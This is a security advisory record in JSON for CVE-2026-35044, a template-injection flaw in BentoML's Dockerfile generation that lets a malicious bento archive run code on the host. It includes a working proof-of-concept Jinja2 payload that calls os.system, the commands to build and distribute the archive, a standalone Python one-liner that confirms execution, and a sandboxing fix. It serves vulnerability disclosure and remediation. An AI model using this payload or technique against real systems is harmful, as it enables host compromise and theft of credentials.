{"id":"GHSA-v959-cwq9-7hr6","summary":"BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation","details":"## Summary\n\nThe Dockerfile generation function `generate_containerfile()` in `src/bentoml/_internal/container/generate.py` uses an unsandboxed `jinja2.Environment` with the `jinja2.ext.do` extension to render user-provided `dockerfile_template` files. When a victim imports a malicious bento archive and runs `bentoml containerize`, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.\n\n## Details\n\nThe vulnerability exists in the `generate_containerfile()` function at `src/bentoml/_internal/container/generate.py:155-157`:\n\n```python\nENVIRONMENT = Environment(\n    extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nThis creates an **unsandboxed** `jinja2.Environment` with two dangerous extensions:\n- `jinja2.ext.do` — enables `{% do %}` tags that execute arbitrary Python expressions\n- `jinja2.ext.debug` — exposes internal template engine state\n\n**Attack path:**\n\n1. **Attacker builds a bento** with `dockerfile_template` set in `bentofile.yaml`. During `bentoml build`, `DockerOptions.write_to_bento()` (`build_config.py:272-276`) copies the template file into the bento archive at `env/docker/Dockerfile.template`:\n\n```python\nif self.dockerfile_template is not None:\n    shutil.copy2(\n        resolve_user_filepath(self.dockerfile_template, build_ctx),\n        docker_folder / \"Dockerfile.template\",\n    )\n```\n\n2. **Attacker exports** the bento as a `.bento` or `.tar.gz` archive and distributes it (via S3, HTTP, direct sharing, etc.).\n\n3. **Victim imports** the bento with `bentoml import bento.tar` — no validation of template content is performed.\n\n4. **Victim containerizes** with `bentoml containerize`. The `construct_containerfile()` function (`__init__.py:198-204`) detects the template and sets the path:\n\n```python\ndocker_attrs[\"dockerfile_template\"] = \"env/docker/Dockerfile.template\"\n```\n\n5. **`generate_containerfile()`** (`generate.py:181-192`) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:\n\n```python\nuser_templates = docker.dockerfile_template\nif user_templates is not None:\n    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))\n    user_templates = os.path.basename(user_templates)\n    TEMPLATES_PATH.append(dir_path)\n    environment = ENVIRONMENT.overlay(\n        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)\n    )\n    template = environment.get_template(\n        user_templates,\n        globals={\"bento_base_template\": template, **J2_FUNCTION},\n    )\n# ...\nreturn template.render(...)  # \u003c-- SSTI executes here, on the HOST\n```\n\n**Critical distinction**: Commands in `docker.commands` or `docker.post_commands` execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the **host machine** during template rendering, *before* Docker is invoked. This bypasses all container isolation.\n\n## PoC\n\n**Step 1: Create malicious template `evil.j2`:**\n\n```jinja2\n{% extends bento_base_template %}\n{% block SETUP_BENTO_COMPONENTS %}\n{{ super() }}\n{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id \u003e /tmp/pwned') %}\n{% endblock %}\n```\n\n**Step 2: Create `bentofile.yaml` referencing the template:**\n\n```yaml\nservice: 'service:MyService'\ndocker:\n  dockerfile_template: ./evil.j2\n```\n\n**Step 3: Attacker builds and exports:**\n\n```bash\nbentoml build\nbentoml export myservice:latest bento.tar\n```\n\n**Step 4: Victim imports and containerizes:**\n\n```bash\nbentoml import bento.tar\nbentoml containerize myservice:latest\n```\n\n**Step 5: Verify host code execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=1000(victim) gid=1000(victim) groups=...\n```\n\nThe SSTI payload executes on the host during template rendering, before any Docker container is created.\n\n**Standalone verification that the Jinja2 Environment allows code execution:**\n\n```bash\npython3 -c \"\nfrom jinja2 import Environment\nenv = Environment(extensions=['jinja2.ext.do'])\nt = env.from_string(\\\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\\\")\nt.render()\n\"\n# Output: SSTI_WORKS\n```\n\n## Impact\n\nAn attacker who distributes a malicious bento archive can achieve **arbitrary code execution on the host machine** of any user who imports and containerizes the bento. This gives the attacker:\n\n- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)\n- Ability to install backdoors or pivot to other systems\n- Access to environment variables containing secrets (API keys, database credentials)\n- Potential supply chain compromise if the victim's machine is a CI/CD runner\n\nThe attack is particularly dangerous because:\n1. Users may reasonably expect `bentoml containerize` to be a safe build operation\n2. The malicious template is embedded inside the bento archive and not visible without manual inspection\n3. Execution happens on the host, not inside a Docker container, bypassing all isolation\n\n## Recommended Fix\n\nReplace the unsandboxed `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment` and remove the dangerous `jinja2.ext.do` and `jinja2.ext.debug` extensions, which are unnecessary for Dockerfile template rendering.\n\nIn `src/bentoml/_internal/container/generate.py`, change lines 155-157:\n\n```python\n# Before (VULNERABLE):\nfrom jinja2 import Environment\n# ...\nENVIRONMENT = Environment(\n    extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n\n# After (FIXED):\nfrom jinja2.sandbox import SandboxedEnvironment\n# ...\nENVIRONMENT = SandboxedEnvironment(\n    extensions=[\"jinja2.ext.loopcontrols\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nAdditionally, review the second unsandboxed Environment in `build_config.py:499-504` which also uses `jinja2.ext.debug`:\n\n```python\n# build_config.py:499 - also fix:\nenv = jinja2.sandbox.SandboxedEnvironment(\n    variable_start_string=\"\u003c\u003c\",\n    variable_end_string=\"\u003e\u003e\",\n    loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),\n)\n```","aliases":["CVE-2026-35044","PYSEC-2026-159"],"modified":"2026-06-08T20:15:13.378215544Z","published":"2026-04-03T23:14:15Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-03T23:14:15Z","nvd_published_at":"2026-04-06T18:16:41Z","cwe_ids":["CWE-1336"]},"references":[{"type":"WEB","url":"https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35044"},{"type":"PACKAGE","url":"https://github.com/bentoml/BentoML"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-159.yaml"}],"affected":[{"package":{"name":"bentoml","ecosystem":"PyPI","purl":"pkg:pypi/bentoml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.38"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.5","0.0.6a0","0.0.7","0.0.7.dev0","0.0.8","0.0.8.post1","0.0.9","0.1.1","0.1.2","0.10.0","0.10.1","0.11.0","0.11.dev0","0.12.0","0.12.1","0.13.0","0.13.1","0.13.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.6.0","0.6.1","0.6.2","0.6.3","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.9.0","0.9.0rc0","0.9.1","0.9.2","1.0.0","1.0.0.dev0","1.0.0.dev1","1.0.0a1","1.0.0a2","1.0.0a3","1.0.0a4","1.0.0a5","1.0.0a6","1.0.0a7","1.0.0rc0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.2.0a0","1.2.0a1","1.2.0a2","1.2.0a3","1.2.0a4","1.2.0a5","1.2.0a6","1.2.0a7","1.2.0rc1","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.18","1.2.19","1.2.1a1","1.2.2","1.2.20","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.0a1","1.3.0a2","1.3.0a3","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.17","1.3.18","1.3.19","1.3.2","1.3.20","1.3.21","1.3.22","1.3.3","1.3.4.post1","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0a1","1.4.0a2","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.17","1.4.18","1.4.19","1.4.2","1.4.20","1.4.21","1.4.22","1.4.23","1.4.24","1.4.25","1.4.26","1.4.27","1.4.28","1.4.29","1.4.3","1.4.30","1.4.31","1.4.32","1.4.33","1.4.34","1.4.35","1.4.36","1.4.37","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.4.37","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-v959-cwq9-7hr6/GHSA-v959-cwq9-7hr6.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}